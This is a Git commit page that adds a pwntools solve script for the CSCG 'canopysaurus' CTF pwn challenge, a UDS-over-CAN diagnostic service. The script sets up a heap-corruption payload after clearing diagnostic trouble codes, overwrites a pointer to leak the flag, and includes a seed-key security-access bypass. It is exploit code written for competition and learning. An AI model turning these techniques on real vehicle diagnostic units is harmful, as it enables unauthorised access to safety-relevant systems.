cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

huge commit

Browse Source
This commit is contained in:
cato447
2026-03-09 21:44:25 +01:00
parent ab2e537520
commit d1017bae51
441 changed files with 3438154 additions and 1363 deletions
Download Patch File Download Diff File Expand all files Collapse all files

342
2026/cscg/pwn/canopysaurus/solve.py Normal file
View File

@@ -0,0 +1,342 @@
"""
DCU Client - Dino Control Unit interface using pwntools
Implements CAN-over-TCP framing for UDS (Unified Dino Services)
Usage:
python dcu_client.py [host] [port]
Or import and use DCUClient directly.
"""
import struct
import sys
from pwn import *
# ─────────────────────────────────────────────
# CAN Frame Layout (struct can_frame, 16 bytes)
# uint32_t can_id
# uint8_t can_dlc
# uint8_t __pad
# uint8_t __res0
# uint8_t __res1
# uint8_t data[8]
# ─────────────────────────────────────────────
CAN_FRAME_FMT = "<IBBBB8s"
CAN_FRAME_SIZE = struct.calcsize(CAN_FRAME_FMT) # 16 bytes
# CAN IDs
UDS_REQUEST_ID = 0x7DF # broadcast
UDS_PHYSICAL_ID = 0x7E0 # physical
UDS_RESPONSE_ID = 0x7E8 # ECU response
# UDS Service IDs
SID = {
"DIAG_SESSION_CTRL" : 0x10,
"SECURITY_ACCESS" : 0x27,
"READ_DID" : 0x22,
"WRITE_DID" : 0x2E,
"CLEAR_DTC" : 0x14,
"READ_DTC" : 0x19,
"REQUEST_DOWNLOAD" : 0x34,
"TRANSFER_DATA" : 0x36,
"ROUTINE_CTRL" : 0x31,
}
# Sessions
SESSION_DEFAULT = 0x01
SESSION_EXTENDED = 0x03
SESSION_SECURITY = 0x04
# NRCs
NRC = {
0x10: "GENERAL_REJECT",
0x11: "SERVICE_NOT_SUPPORTED",
0x12: "SUBFUNCTION_NOT_SUPPORTED",
0x13: "INCORRECT_MSG_LEN",
0x22: "CONDITIONS_NOT_CORRECT",
0x33: "SECURITY_ACCESS_DENIED",
0x35: "INVALID_KEY",
}
# ─────────────────────────────────────────────────────────────────
# CAN frame helpers
# ─────────────────────────────────────────────────────────────────
def pack_can_frame(can_id: int, payload: bytes) -> bytes:
"""Pack a UDS payload into a 16-byte CAN frame (ISO-TP single frame)."""
assert 1 <= len(payload) <= 7, "Payload must be 1–7 bytes for a single CAN frame"
pci = len(payload) & 0x0F # PCI byte: SF type (0) + length
data = bytes([pci]) + payload # prepend PCI
data = data.ljust(8, b'\x00') # pad to 8 bytes
frame = struct.pack(CAN_FRAME_FMT,
can_id, # can_id
len(payload), # can_dlc (actual UDS payload len)
0, 0, 0, # pad / res0 / res1
data)
return frame
def unpack_can_frame(raw: bytes) -> dict:
"""Unpack a 16-byte CAN frame into a dict."""
assert len(raw) == CAN_FRAME_SIZE
can_id, dlc, pad, res0, res1, data = struct.unpack(CAN_FRAME_FMT, raw)
pci = data[0]
sf_len = pci & 0x0F
return {
"can_id" : can_id & 0x7FF,
"dlc" : dlc,
"pci" : pci,
"sf_len" : sf_len,
"data" : data, # full 8 bytes
"payload" : data[1 : 1 + sf_len] if sf_len else data[1:], # UDS bytes
}
# ─────────────────────────────────────────────────────────────────
# DCU Client
# ─────────────────────────────────────────────────────────────────
class DCUClient:
def __init__(self, host: str = "localhost", port: int = 18088, verbose: bool = True, ssl: bool = False):
self.host = host
self.port = port
self.verbose = verbose
self.ssl = ssl
self.io: tube = None
# ── Connection ──────────────────────────────────────────────
def connect(self):
self.io = remote(self.host, self.port, ssl=self.ssl)
log.success(f"Connected to DCU at {self.host}:{self.port}")
return self
def close(self):
if self.io:
self.io.close()
def __enter__(self):
return self.connect()
def __exit__(self, *_):
self.close()
# ── Low-level I/O ───────────────────────────────────────────
def send_frame(self, payload: bytes, can_id: int = UDS_REQUEST_ID):
"""Send a raw UDS payload as a CAN frame."""
frame = pack_can_frame(can_id, payload)
if self.verbose:
log.debug(f"TX can_id=0x{can_id:03X} payload={payload.hex()}")
self.io.send(frame)
def recv_frame(self, timeout: float = 3.0) -> dict | None:
"""Receive one 16-byte CAN frame and unpack it."""
try:
raw = self.io.recv(CAN_FRAME_SIZE, timeout=timeout)
if len(raw) < CAN_FRAME_SIZE:
raw += self.io.recv(CAN_FRAME_SIZE - len(raw), timeout=timeout)
f = unpack_can_frame(raw)
if self.verbose:
log.debug(f"RX can_id=0x{f['can_id']:03X} payload={f['payload'].hex()}")
return f
except EOFError:
log.warning("Connection closed by server")
return None
except Exception as e:
log.warning(f"recv_frame: {e}")
return None
def recv_frames(self, count: int = 1, timeout: float = 3.0) -> list[dict]:
"""Receive up to `count` frames."""
frames = []
for _ in range(count):
f = self.recv_frame(timeout=timeout)
if f is None:
break
frames.append(f)
return frames
def transact(self, payload: bytes, can_id: int = UDS_REQUEST_ID,
timeout: float = 3.0) -> dict | None:
"""Send a UDS payload and return the first response frame."""
self.send_frame(payload, can_id)
return self.recv_frame(timeout=timeout)
# ── UDS helpers ─────────────────────────────────────────────
@staticmethod
def is_positive(frame: dict) -> bool:
return frame["payload"][0] != 0x7F if frame else False
@staticmethod
def is_negative(frame: dict) -> bool:
return frame["payload"][0] == 0x7F if frame else True
@staticmethod
def nrc_name(nrc_byte: int) -> str:
return NRC.get(nrc_byte, f"0x{nrc_byte:02X}")
def check_response(self, frame: dict | None, label: str = "") -> bool:
if frame is None:
log.failure(f"{label}: no response")
return False
p = frame["payload"]
if p[0] == 0x7F:
nrc = p[2] if len(p) > 2 else 0
log.failure(f"{label}: NEGATIVE RESPONSE SID=0x{p[1]:02X} NRC={self.nrc_name(nrc)}")
return False
log.success(f"{label}: OK resp={p.hex()}")
return True
# ── Named service wrappers ───────────────────────────────────
def diag_session_ctrl(self, session_type: int = SESSION_EXTENDED) -> dict | None:
"""0x10 – DiagnosticSessionControl"""
return self.transact(bytes([SID["DIAG_SESSION_CTRL"], session_type]))
def security_request_seed(self) -> dict | None:
"""0x27 sub 0x01 – request seed"""
return self.transact(bytes([SID["SECURITY_ACCESS"], 0x01]))
def security_send_key(self, key: int) -> dict | None:
"""0x27 sub 0x02 – send key (4-byte LE int)"""
payload = bytes([SID["SECURITY_ACCESS"], 0x02]) + struct.pack("<I", key)
return self.transact(payload)
def security_unlock(self) -> bool:
"""Full seed-key handshake. Returns True on success."""
r = self.security_request_seed()
if not r or self.is_negative(r):
log.failure("Failed to get seed")
return False
seed = struct.unpack("<I", r["payload"][2:6])[0]
log.info(f"Got seed: 0x{seed:08X}")
key = seed ^ 0xCAFEBABE
log.info(f"Sending key: 0x{key:08X}")
r2 = self.security_send_key(key)
return self.check_response(r2, "security_unlock")
def read_did(self, did_id: int) -> dict | None:
"""0x22 – ReadDataByIdentifier"""
payload = bytes([SID["READ_DID"], (did_id >> 8) & 0xFF, did_id & 0xFF])
return self.transact(payload)
def write_did(self, did_id: int, data: bytes) -> dict | None:
"""0x2E – WriteDataByIdentifier"""
payload = bytes([SID["WRITE_DID"], (did_id >> 8) & 0xFF, did_id & 0xFF]) + data
return self.transact(payload)
def clear_dtc(self, group: int = 0xFFFFFF) -> dict | None:
"""0x14 – ClearDiagnosticInformation (group=0xFFFFFF clears all)"""
payload = bytes([SID["CLEAR_DTC"],
(group >> 16) & 0xFF,
(group >> 8) & 0xFF,
group & 0xFF])
return self.transact(payload)
def read_dtc_count(self) -> dict | None:
"""0x19 sub 0x01 – report number of DTCs"""
return self.transact(bytes([SID["READ_DTC"], 0x01]))
def read_dtc_by_status(self, mask: int = 0xFF) -> list[dict]:
"""0x19 sub 0x02 – report DTCs by status mask; drains multiple frames."""
self.send_frame(bytes([SID["READ_DTC"], 0x02, mask]))
return self.recv_frames(count=16, timeout=1.0)
def read_dtc_extended(self, dtc_code: int) -> dict | None:
"""0x19 sub 0x06 – report extended data for a specific DTC"""
payload = bytes([SID["READ_DTC"], 0x06,
(dtc_code >> 16) & 0xFF,
(dtc_code >> 8) & 0xFF,
dtc_code & 0xFF])
return self.transact(payload)
def request_download(self, severity: int, dtc_code: int, status: int) -> dict | None:
"""0x34 – RequestDownload (register a new DTC entry)"""
payload = bytes([SID["REQUEST_DOWNLOAD"],
0x00, # reserved
severity & 0xFF,
(dtc_code >> 16) & 0xFF,
(dtc_code >> 8) & 0xFF,
dtc_code & 0xFF,
status & 0xFF])
return self.transact(payload)
def transfer_data(self, dtc_idx: int, data: bytes) -> dict | None:
"""0x36 – TransferData (append to DTC description at index)"""
payload = bytes([SID["TRANSFER_DATA"], dtc_idx & 0xFF]) + data
return self.transact(payload)
def routine_ctrl_start(self, did_id: int, total_len: int) -> dict | None:
"""0x31 sub 0x01 routine 0xFF01 – start extended write"""
payload = bytes([SID["ROUTINE_CTRL"], 0x01, 0xFF, 0x01,
(did_id >> 8) & 0xFF, did_id & 0xFF,
total_len & 0xFF])
return self.transact(payload)
def routine_ctrl_chunk(self, data: bytes) -> dict | None:
"""0x31 sub 0x03 routine 0xFF01 - send a data chunk.
CAN frames hold 7 UDS bytes max (8 data bytes - 1 PCI byte).
The header [0x31, 0x03, 0xFF, 0x01] costs 4 bytes, leaving 3 bytes
of actual chunk data per frame. Large buffers are split automatically.
"""
CHUNK = 3 # bytes of payload data per frame
last_response = None
offset = 0
while offset < len(data):
piece = data[offset:offset + CHUNK]
payload = bytes([SID["ROUTINE_CTRL"], 0x03, 0xFF, 0x01]) + piece
last_response = self.transact(payload)
offset += CHUNK
return last_response
# ── Raw send ─────────────────────────────────────────────────
def raw(self, payload: bytes, can_id: int = UDS_REQUEST_ID) -> dict | None:
"""Send arbitrary UDS bytes and receive one frame. For freeform testing."""
return self.transact(payload, can_id)
# ─────────────────────────────────────────────────────────────────
# Interactive demo / sanity check
# ─────────────────────────────────────────────────────────────────
def exploit(host, port, ssl):
context.log_level = "info"
with DCUClient(host, port, verbose=False, ssl=ssl) as dcu:
log.info("Open extended session")
r = dcu.diag_session_ctrl(SESSION_EXTENDED)
dcu.check_response(r, "session_ctrl")
log.info("Creating DTC")
r = dcu.request_download(1, 1, 1)
dcu.check_response(r, "session_ctrl")
log.info("Clear dtc")
dcu.clear_dtc()
dcu.routine_ctrl_start(1, 64)
dcu.routine_ctrl_chunk(b"A"*4 + p64(0x4016cf) + b"A" * 52)
log.info("Added did entry")
r = dcu.read_dtc_by_status()
flag = b""
for i in r:
if i["pci"] == 255:
flag += i["payload"]
print(flag.decode())
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else "localhost"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 18088
ssl = bool(sys.argv[3]) if len(sys.argv) > 3 else False
exploit(host, port, ssl=ssl)